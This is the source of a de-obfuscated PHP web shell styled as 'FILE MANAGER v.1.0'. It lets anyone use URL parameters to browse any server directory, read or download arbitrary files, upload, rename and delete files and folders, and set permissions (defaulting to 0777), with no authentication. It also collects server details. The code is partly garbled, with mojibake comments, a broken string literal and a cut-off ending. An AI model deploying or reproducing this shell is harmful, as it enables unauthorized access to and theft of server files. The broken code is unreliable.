/* Decoded by unphp.net */
if(isset($_GET['fpath']) && isset($_GET['fopen']))
{
chdir($_GET['fpath']);
$file = $_GET['fopen'];
$filesize = filesize($file); // íì¼ í¬ê¸°
$fp = fopen($file, "r"); // ì½ê¸°ë°©ìì¼ë¡ ì´ê¸°
header("Cache-Control: no-cache, must-revalidate"); // ì¹ ë¸ë¼ì°ì ê° cacheíì§ ìëë¡...
header("Content-type: application/octet-stream"); // ì ì¡íë contentì íì
ì ë¤ì´ë¡ë ë°ëë¡...
header("Accept-Ranges: bytes"); // ì ì¡ëë contentì ê¸¸ì´ ë¨ìê° bytesìì ì림
header("Content-Disposition: attachment; filename=\"$file\""); // ë¤ì´ë¡ë íì¼ì´ë¦ ì ì¡
header("Content-Transfer-Encoding: binary"); // ì ì¡ëë contentì encodingíì
ì´ binaryìì ì§ì
header("Content-Length: $filesize"); // ì ì¡ íì¼ì í¬ê¸° ì ì¡
fpassthru($fp); // íì¼ì ì¤ì ë´ì©ì ì ì¡
fclose($fp); // íì¼ ë«ê¸°
}
else if(isset($_GET['fpath']) && isset($_GET['fread']))
{
chdir($_GET['fpath']);
$file = $_GET['fread'];
$filesize = filesize($file); // íì¼ í¬ê¸°
$fp = fopen($file, "r"); // ì½ê¸°ë°©ìì¼ë¡ ì´ê¸°
$printStr = fread($fp, $filesize);
fclose($fp);
print $printStr;
exit(0);
}
echo "
";
$self=$_SERVER['PHP_SELF'];
$srvr_sof=$_SERVER['SERVER_SOFTWARE'];
$your_ip=$_SERVER['REMOTE_ADDR'];
$srvr_ip=$_SERVER['SERVER_ADDR'];
$admin=$_SERVER['SERVER_ADMIN'];
$host=$_SERVER['SERVER_NAME'];
if(strtolower(substr(PHP_OS,0,3))=="win")
{
$os="win";
$sep="\";
$ox="Windows";
}
else
{
$os="nix";
$ox="Linux";
}
echo "FILE MANAGER v.1.0";
if( isset($_GET['fpath']) )
{
$fpath=$_GET['fpath'];
if ($fpath === "")
$fpath=dirname(__FILE__);
}
else
{
$fpath=dirname(__FILE__);
}
chdir($fpath);
function filesizex($size)
{
if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB";
elseif ($size>=1048576)$size = round(($size/1048576),2)." MB";
elseif ($size>=1024)$size = round(($size/1024),2)." KB";
else $size .= " B";
return $size;
}
function DecodePerms($perms)
{
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function dirDetails($directory=".")
{
$d = dir($directory);
$fprops = array();
$dprops = array();
$prop = array();
$chunks = array();
$fl=0;
$dl=0;
while (false !== ($entry = $d->read())) {
if ($entry === ".") continue;
$chunks[0] = DecodePerms(fileperms($entry));
$chunks[1] = filegroup($entry);
$chunks[2] = fileowner($entry);
$chunks[3] = filegroup($entry);
if (is_file($entry))
{
$chunks[4] = filesize($entry);
}
else if (is_dir($entry))
{
$chunks[4] = "";
}
$chunks[5] = date("Y/F/D H:i:s", filectime($entry));
list($prop['perm'], $prop['num'], $prop['user'], $prop['group'], $prop['size'], $prop['time']) = $chunks;
if (is_file($entry))
{
$prop['type']='File';
}
else if ($entry === "..")
{
$prop['type']='Upfolder';
}
else if (is_dir($entry))
{
$prop['type']='Directory';
}
$prop['name']=$entry;
array_splice($chunks, 0, 8);
if (is_file($entry))
{
$fprops[$fl]=$prop;
$fl += 1;
}
else if (is_dir($entry))
{
$dprops[$dl]=$prop;
$dl += 1;
}
}
for ($iii = 0; $iii < $fl; $iii ++)
$dprops[$dl+$iii]=$fprops[$iii];
$d->close();
return $dprops;
}
function deleteFiled($file)
{
if (file_exists($file))
unlink($file);
}
function download($resource, $fname)
{
$down = ftp_get($resource, $fname, $fname, FTP_ASCII);
if($down)
{
success("The file ".$fname." downloaded sucessfully");
}
else
{
failed("The file ".$fname." failed to download");
}
}
function renamef($fname, $nfname)
{
if (file_exists($fname))
rename($fname, $nfname);
}
function rename_ui($path)
{
$rf_path=$_GET['rename'];
echo "";
}
function changeperm_ui($path)
{
$rf_path=$_GET['chperm'];
echo "";
}
function changeperm()
{
$mode = $_GET['new_perm'];
$file = $_GET['fname'];
chmod($file, $mode);
if ($mode === "r")
{
// Read and write for owner, nothing for everybody else
chmod($file, 0600);
}
else if ($mode === "w")
{
// Read and write for owner, read for everybody else
chmod($file, 0644);
}
else if ($mode === "rw")
{
// Everything for owner, read and execute for others
chmod($file, 0755);
}
else if ($mode === "rx")
{
// Everything for owner, read and execute for owner's group
chmod($file, 0750);
}
else
{
chmod($file, 0777);
}
}
function deleteDir($directory, $dir)
{
chdir($dir."/".$directory);
$d = dir($dir."/".$directory);
while (false !== ($entry = $d->read())) {
if ( ($entry === ".") || ($entry === "..") ) continue;
if (is_file($entry))
{
deleteFiled($entry);
}
else if (is_dir($entry))
{
deleteDir($entry, realpath($dir."/".$directory));
rmdir($entry);
}
}
$d->close();
chdir($dir);
rmdir($directory);
}
function createDir($file, $dir)
{
mkdir($dir);
}
function uploadf($php_path)
{
global $host;
$max_size = 1000000000;
$save_path = realpath($php_path);
if (empty($_FILES) === false) {
$file_name = $_FILES['userfile']['name'];
$tmp_name = $_FILES['userfile']['tmp_name'];
$file_size = $_FILES['userfile']['size'];
if ($file_name) {
if (@is_dir($save_path) === true) {
if (@is_writable($save_path) === true) {
if (@is_uploaded_file($tmp_name) === true) {
if ($file_size < $max_size) {
$file_path = $save_path . "/" . $file_name;
if (file_exists($file_path)) unlink($file_path);
move_uploaded_file($tmp_name, $file_path);
}
}
}
}
}
}
}
?>
"; echo "